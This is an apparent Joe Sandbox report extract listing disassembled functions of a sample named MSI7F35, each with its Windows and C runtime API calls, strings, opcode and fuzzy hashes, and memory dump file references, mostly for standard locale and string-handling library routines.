bad locale name, xrefs: 0080C460

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocGetctypeLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 3635123611-1405518554
Opcode ID: 728310862f2673df76cbaac07d40bfaeb5bb4b100295eee79e2782dbecfcf3c6
Instruction ID: 0ed9b9cd0965369da082c3810d98ca953041ba1fb6a668a8146da1101edafebd
Opcode Fuzzy Hash: 728310862f2673df76cbaac07d40bfaeb5bb4b100295eee79e2782dbecfcf3c6
Instruction Fuzzy Hash: 9E6149B1D01288EEEB50CFE8C90579EBBB8FF15304F148159E454EB281E7B99A48DB52

Function 0082743E Relevance: 12.2, APIs: 8, Instructions: 224COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 008274C9
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00827557
__alloca_probe_16.LIBCMT ref: 00827581
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 008275C9
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 008275E3
__alloca_probe_16.LIBCMT ref: 00827609
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00827646
CompareStringEx.KERNEL32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00827663

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: ByteCharMultiWide$__alloca_probe_16$CompareInfoString
String ID:
API String ID: 3603178046-0
Opcode ID: 42b4a619ed9b319ee2634643e051b6be2949bd09e3c913af9c8f414a1f166719
Instruction ID: f647fc245d292584f9de034f5dccda623676fd69dbcdef9de5d8cffb3f11d00e
Opcode Fuzzy Hash: 42b4a619ed9b319ee2634643e051b6be2949bd09e3c913af9c8f414a1f166719
Instruction Fuzzy Hash: 3C71E67190862AAFDF219F6AED55AEFBFB6FF59354F140015E805E6150EB31C880CB60

Function 00826F23 Relevance: 12.2, APIs: 8, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,CCCCCCCC,0080C6DF,?,00000001,00000000,?,00000000,?,0080C6DF,?), ref: 00826F6C
__alloca_probe_16.LIBCMT ref: 00826F98
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,00000000,?,0080C6DF,?,?,00000000,0080CCD3,0000003F,?), ref: 00826FD7
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0080C6DF,?,?,00000000,0080CCD3,0000003F), ref: 00826FF4
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,0080C6DF,?,?,00000000,0080CCD3,0000003F), ref: 00827033
__alloca_probe_16.LIBCMT ref: 00827050
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0080C6DF,?,?,00000000,0080CCD3,0000003F), ref: 00827092
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000,?,0080C6DF,?,?,00000000,0080CCD3,0000003F,?), ref: 008270B5

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: f1f84aeb4ff9e8eda3df85953222a9640228b87f0584e1ad3e44b32f42105719
Instruction ID: ce855c8b79b671a458808e53b163b746ca57caa4c141620d17f3b3c7489f2639
Opcode Fuzzy Hash: f1f84aeb4ff9e8eda3df85953222a9640228b87f0584e1ad3e44b32f42105719
Instruction Fuzzy Hash: 3651C17250462AAFDF209F66EC45FAB7BA9FF44750F114029FD04E6190EB319D94CB90

Function 00805940 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 389fileCOMMON

Download Yara Rule

APIs

GetTempFileNameW.KERNEL32(?,URL,00000000,?,58A46C4B,?,00000004), ref: 008059AA
LocalFree.KERNEL32(?), ref: 00805ABB
MoveFileW.KERNEL32(?,00000000), ref: 00805D5B
DeleteFileW.KERNEL32(?), ref: 00805DA3

Strings

URL, xrefs: 008059A4, 00805D8B
url, xrefs: 00805ADC, 00805D86

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: File$DeleteFreeLocalMoveNameTemp
String ID: URL$url
API String ID: 1622375482-346267919
Opcode ID: 4840f796236d0657ddf051c9d995cc4bc85f0d04aacd58b6096c3001e0a801fa
Instruction ID: f4a8f3bcbc08aa581e6d8d636989b1378a2716a1df647ab1756fff1cdcd05512
Opcode Fuzzy Hash: 4840f796236d0657ddf051c9d995cc4bc85f0d04aacd58b6096c3001e0a801fa
Instruction Fuzzy Hash: FA026570A146298ACB64DF28CD98B9DB7B5FF54304F1042D9D409E7291EB74ABC4CF90

Function 008061D0 Relevance: 10.7, APIs: 7, Instructions: 234processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00806242
CloseHandle.KERNEL32(00000000), ref: 00806285
Process32FirstW.KERNEL32(00000000,0000022C), ref: 008062E1
OpenProcess.KERNEL32(00000410,00000000,?), ref: 008062FD
CloseHandle.KERNEL32(00000000), ref: 00806445
Process32NextW.KERNEL32(?,0000022C), ref: 00806463
CloseHandle.KERNEL32(00000000), ref: 0080648E

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: CloseHandle$Process32$CreateFirstNextOpenProcessSnapshotToolhelp32
String ID:
API String ID: 708755948-0
Opcode ID: c9bc86d71a48262984088473c8522a4fc373ff13febf18f8ab4d09507e0188eb
Instruction ID: 689f218c3bac58b8c2b063e409e4f9b721bb5e70333d178a1c3cd845164a8e1d
Opcode Fuzzy Hash: c9bc86d71a48262984088473c8522a4fc373ff13febf18f8ab4d09507e0188eb
Instruction Fuzzy Hash: 40A17C70905669DBDB20DF64CC48BDEBBB4FF44314F1082D9E819A7280E7B45A98CF94

Function 0080F5E0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 189memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000000C,58A46C4B,?,00000000,00000000,?,?,?,?,00000000,0084B2D1,000000FF,?,0080EBCA,00000000), ref: 0080F624
std::_Lockit::_Lockit.LIBCPMT ref: 0080F65A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0080F6BE
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0080F77E
std::_Lockit::~_Lockit.LIBCPMT ref: 0080F832

Strings

bad locale name, xrefs: 0080F84E

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2968629171-1405518554
Opcode ID: 240914bbe4eebac010ba0bc6a81c308b82c3de675aa865c43af38e3c8517ae7f
Instruction ID: 1cd47968ba1eaeeaeea5ba68357bd847edb17133b4e3ac851bf76c521c2770ec
Opcode Fuzzy Hash: 240914bbe4eebac010ba0bc6a81c308b82c3de675aa865c43af38e3c8517ae7f
Instruction Fuzzy Hash: B27150B0D01298EAEF21CFA8D9457DEBFB4FF15314F148169D414E7282D7B59A08CB92

Function 0080F3B0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000008,58A46C4B,?,00000000,00000000,?,?,?,00000000,0084B1DD,000000FF,?,0080ED0A,00000000,?), ref: 0080F3F4
std::_Lockit::_Lockit.LIBCPMT ref: 0080F42A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0080F48E
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0080F4FE
std::_Lockit::~_Lockit.LIBCPMT ref: 0080F5B2

Strings

bad locale name, xrefs: 0080F5CE

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2968629171-1405518554
Opcode ID: 3d66cddf53ad9b2d34e3415a767e47bcac200e7c47e7f78d7186c35f8c8f20c8
Instruction ID: 352cbc795f14b78b027d5e503d3a32d61605e212dfdb833d24144f94ef23637f
Opcode Fuzzy Hash: 3d66cddf53ad9b2d34e3415a767e47bcac200e7c47e7f78d7186c35f8c8f20c8
Instruction Fuzzy Hash: B56160B0D01288EEEF60CFA8D9447DEBBB4FF15304F148169E554E7282D7B59A08CB61

Function 00828D30 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00828D67
___except_validate_context_record.LIBVCRUNTIME ref: 00828D6F
_ValidateLocalCookies.LIBCMT ref: 00828DF8
__IsNonwritableInCurrentImage.LIBCMT ref: 00828E23
_ValidateLocalCookies.LIBCMT ref: 00828E78

Strings

csm, xrefs: 00828E0D

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: bfab45f7725b03ff8a0e3f4b72ed0fd2734cd05617a2968aabd75a62407dcf40
Instruction ID: bff7a7c30006d44251732728433003d78b8a213e52a2bbbf6ba1a6f36d129f44
Opcode Fuzzy Hash: bfab45f7725b03ff8a0e3f4b72ed0fd2734cd05617a2968aabd75a62407dcf40
Instruction Fuzzy Hash: 0841F838A01228DBCF10DF6CD844A9EBBB6FF15324F158455E914EB392CB31EA85CB91

Function 0083C96B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,0083CA78,?,?,?,00000000,?,?,0083CCA2,00000021,FlsSetValue,00851E00,00851E08,?), ref: 0083CA2C

Strings

api-ms-, xrefs: 0083C9C2
ext-ms-, xrefs: 0083C9D6

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 7eb293265c6c25280baf0f394fbcd5314a27e4d3a3407acadbc9e583cc14c84f
Instruction ID: 73b1022101ac3fe09c07921dcf23b780cbd99081486e0460c89e9ffc8aaa55bb
Opcode Fuzzy Hash: 7eb293265c6c25280baf0f394fbcd5314a27e4d3a3407acadbc9e583cc14c84f
Instruction Fuzzy Hash: 3521BB76601225EBCB21DB65AC48B5A7759FB867A4F250221ED16F7290E770ED00C7D0

Function 0081D8F6 Relevance: 9.4, APIs: 6, Instructions: 433COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0081D8FD
ctype.LIBCPMT ref: 0081D944

Part of subcall function 0081D458: __Getctype.LIBCPMT ref: 0081D467

Part of subcall function 008179C9: __EH_prolog3.LIBCMT ref: 008179D0
Part of subcall function 008179C9: std::_Lockit::_Lockit.LIBCPMT ref: 008179DA
Part of subcall function 008179C9: std::_Lockit::~_Lockit.LIBCPMT ref: 00817A4B

Part of subcall function 00817AF3: __EH_prolog3.LIBCMT ref: 00817AFA
Part of subcall function 00817AF3: std::_Lockit::_Lockit.LIBCPMT ref: 00817B04
Part of subcall function 00817AF3: std::_Lockit::~_Lockit.LIBCPMT ref: 00817B75

Part of subcall function 00817CB2: __EH_prolog3.LIBCMT ref: 00817CB9
Part of subcall function 00817CB2: std::_Lockit::_Lockit.LIBCPMT ref: 00817CC3
Part of subcall function 00817CB2: std::_Lockit::~_Lockit.LIBCPMT ref: 00817D34

Part of subcall function 00817C1D: __EH_prolog3.LIBCMT ref: 00817C24
Part of subcall function 00817C1D: std::_Lockit::_Lockit.LIBCPMT ref: 00817C2E
Part of subcall function 00817C1D: std::_Lockit::~_Lockit.LIBCPMT ref: 00817C9F

Part of subcall function 00814403: __EH_prolog3.LIBCMT ref: 0081440A
Part of subcall function 00814403: std::_Lockit::_Lockit.LIBCPMT ref: 00814414
Part of subcall function 00814403: std::_Lockit::~_Lockit.LIBCPMT ref: 008144BB

collate.LIBCPMT ref: 0081DA78
numpunct.LIBCPMT ref: 0081DCF2

Part of subcall function 0081838F: __EH_prolog3.LIBCMT ref: 00818396

Part of subcall function 008180C5: __EH_prolog3.LIBCMT ref: 008180CC
Part of subcall function 008180C5: std::_Lockit::_Lockit.LIBCPMT ref: 008180D6
Part of subcall function 008180C5: std::_Lockit::~_Lockit.LIBCPMT ref: 00818147

Part of subcall function 008181EF: __EH_prolog3.LIBCMT ref: 008181F6
Part of subcall function 008181EF: std::_Lockit::_Lockit.LIBCPMT ref: 00818200
Part of subcall function 008181EF: std::_Lockit::~_Lockit.LIBCPMT ref: 00818271

Part of subcall function 00814403: Concurrency::cancel_current_task.LIBCPMT ref: 008144C6

Part of subcall function 008175B6: __EH_prolog3.LIBCMT ref: 008175BD
Part of subcall function 008175B6: std::_Lockit::_Lockit.LIBCPMT ref: 008175C7
Part of subcall function 008175B6: std::_Lockit::~_Lockit.LIBCPMT ref: 00817638

__Getcoll.LIBCPMT ref: 0081DAB8

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

Part of subcall function 008084C0: LocalAlloc.KERNEL32(00000040,00000000,0082839D,00000000,58A46C4B,?,00000000,?,00000000,?,0084CB8D,000000FF,?,008017D5,00000000,0084D3BA), ref: 008084C6

codecvt.LIBCPMT ref: 0081DDA3

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Lockitstd::_$H_prolog3$Lockit::_Lockit::~_$AllocConcurrency::cancel_current_taskGetcollGetctypeLocalcodecvtcollatectypenumpunct
String ID:
API String ID: 613171289-0
Opcode ID: 4b3901ac11e1218c9031bcdb2a7b5b31e28337ef8adcd3bce6491850142fa92c
Instruction ID: 231d3f437ac8a69303174d0d688bf757004f2fac6df0d7e1645b0a3224cbfd21
Opcode Fuzzy Hash: 4b3901ac11e1218c9031bcdb2a7b5b31e28337ef8adcd3bce6491850142fa92c
Instruction Fuzzy Hash: ABE1CF7180071A9BDB11AFA88C02BFF7AADFF41360F154429F959D7292DB708D908792

Function 0081D8F2 Relevance: 9.3, APIs: 6, Instructions: 346COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0081D8FD
ctype.LIBCPMT ref: 0081D944

Part of subcall function 0081D458: __Getctype.LIBCPMT ref: 0081D467

collate.LIBCPMT ref: 0081DA78
__Getcoll.LIBCPMT ref: 0081DAB8

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

Part of subcall function 008084C0: LocalAlloc.KERNEL32(00000040,00000000,0082839D,00000000,58A46C4B,?,00000000,?,00000000,?,0084CB8D,000000FF,?,008017D5,00000000,0084D3BA), ref: 008084C6

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Lockitstd::_$AllocGetcollGetctypeH_prolog3LocalLockit::_Lockit::~_collatectype
String ID:
API String ID: 735909071-0
Opcode ID: 3cb1a30d50df786ba97545a4ea36e93633081c254bd126f357cafc9c3a91e813
Instruction ID: 370a7e6213ba54f4322cc21cca6a07c6aaf1034c089e73f79aa80535dec7d0a0
Opcode Fuzzy Hash: 3cb1a30d50df786ba97545a4ea36e93633081c254bd126f357cafc9c3a91e813
Instruction Fuzzy Hash: F4C1C1B180471ADBDB11AFA888027EF7EA9FF41350F158429E959DB291DF708980C7D2

Function 0080B500 Relevance: 9.2, APIs: 6, Instructions: 152COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0080B52D
std::_Lockit::_Lockit.LIBCPMT ref: 0080B550
std::_Lockit::~_Lockit.LIBCPMT ref: 0080B578
std::_Facet_Register.LIBCPMT ref: 0080B5ED
std::_Lockit::~_Lockit.LIBCPMT ref: 0080B617
LocalFree.KERNEL32 ref: 0080B6C0

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_FreeLocalRegister
String ID:
API String ID: 1378673503-0
Opcode ID: 1fe1b2b9ad4f8b6beed20b6500f65ab8057bccc01e778145a9400933c184bd15
Instruction ID: d8335bc0f6a09a823048215c4818a170b942c4ee0cd468b3d39b0f547f896f6e
Opcode Fuzzy Hash: 1fe1b2b9ad4f8b6beed20b6500f65ab8057bccc01e778145a9400933c184bd15
Instruction Fuzzy Hash: 48518871900659DFCB20DF98DC41BAEBBB8FF05320F14466AE825A7391D7B1AA44CB91

Function 00835981 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 369COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00835A6B
__freea.LIBCMT ref: 00835B01
__freea.LIBCMT ref: 00835B1D

Strings

a/p, xrefs: 00835BE5
am/pm, xrefs: 00835B81

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID: a/p$am/pm
API String ID: 3509577899-3206640213
Opcode ID: 582b2523b2e4432ba56e4991bba0b6364827ae47ebd53523ab9262e2926d3600
Instruction ID: f349f50984c1142c6e66127e26fb51b9adfbde4bae3e4cea866dac3d18f60a16
Opcode Fuzzy Hash: 582b2523b2e4432ba56e4991bba0b6364827ae47ebd53523ab9262e2926d3600
Instruction Fuzzy Hash: B9C10231900A1ADBCB24DF68C899BBAB7B0FFC6718F244169E901EB654D3359D41CBE1

Function 0082AEF5 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0082AEEC,00829710,008285A3), ref: 0082AF03
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0082AF11
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0082AF2A
SetLastError.KERNEL32(00000000,0082AEEC,00829710,008285A3), ref: 0082AF7C

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 09b28c00627f77bf4ffbc4aff4f43c19ecf54f57476f89b401a21632c248b42b
Instruction ID: 21b5a137b9a32ebdc74c5c50e788ede9350a8a80facf585ee6dbd0288ec69633
Opcode Fuzzy Hash: 09b28c00627f77bf4ffbc4aff4f43c19ecf54f57476f89b401a21632c248b42b
Instruction Fuzzy Hash: 1F01707210DB31AFA7282779BD85A2A7784FF12B74B200329F510D20F2EFA94D946143

Function 0081D38D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0081D394
_Getvals.LIBCPMT ref: 0081D3E6
_Mpunct.LIBCPMT ref: 0081D421
_Mpunct.LIBCPMT ref: 0081D43B

Strings

$+xv, xrefs: 0081D446

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Mpunct$GetvalsH_prolog3
String ID: $+xv
API String ID: 2204710431-1686923651
Opcode ID: 53be4891bfea87fb3b89834376de26b84ac3b8d9c3559bc0b03d838e253d2ea7
Instruction ID: 05e140019f59b8bd4ec7685919d9adaf7671fd945fdee9aa01166e6f372c225a
Opcode Fuzzy Hash: 53be4891bfea87fb3b89834376de26b84ac3b8d9c3559bc0b03d838e253d2ea7
Instruction Fuzzy Hash: 3E21A1B1804B96AEDB21DF7884507BBBEECFF08300F04451AE499C7A42E734E641CB91

Function 008083E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(58A46C4B,58A46C4B,?,?,00000000,0084A221,000000FF), ref: 0080847B

Part of subcall function 00827875: EnterCriticalSection.KERNEL32(00864AF8,00000000,?,?,008025B6,0086571C,58A46C4B,?,00000000,008493ED,000000FF,?,00801A26), ref: 00827880
Part of subcall function 00827875: LeaveCriticalSection.KERNEL32(00864AF8,?,?,008025B6,0086571C,58A46C4B,?,00000000,008493ED,000000FF,?,00801A26,?,?,?,58A46C4B), ref: 008278BD

GetModuleHandleW.KERNEL32(kernel32,IsWow64Process), ref: 00808440
GetProcAddress.KERNEL32(00000000), ref: 00808447

Part of subcall function 0082782B: EnterCriticalSection.KERNEL32(00864AF8,?,?,00802627,0086571C,0084CCC0), ref: 00827835
Part of subcall function 0082782B: LeaveCriticalSection.KERNEL32(00864AF8,?,?,00802627,0086571C,0084CCC0), ref: 00827868
Part of subcall function 0082782B: RtlWakeAllConditionVariable.NTDLL ref: 008278DF

Strings

IsWow64Process, xrefs: 00808436
kernel32, xrefs: 0080843B

Memory Dump Source

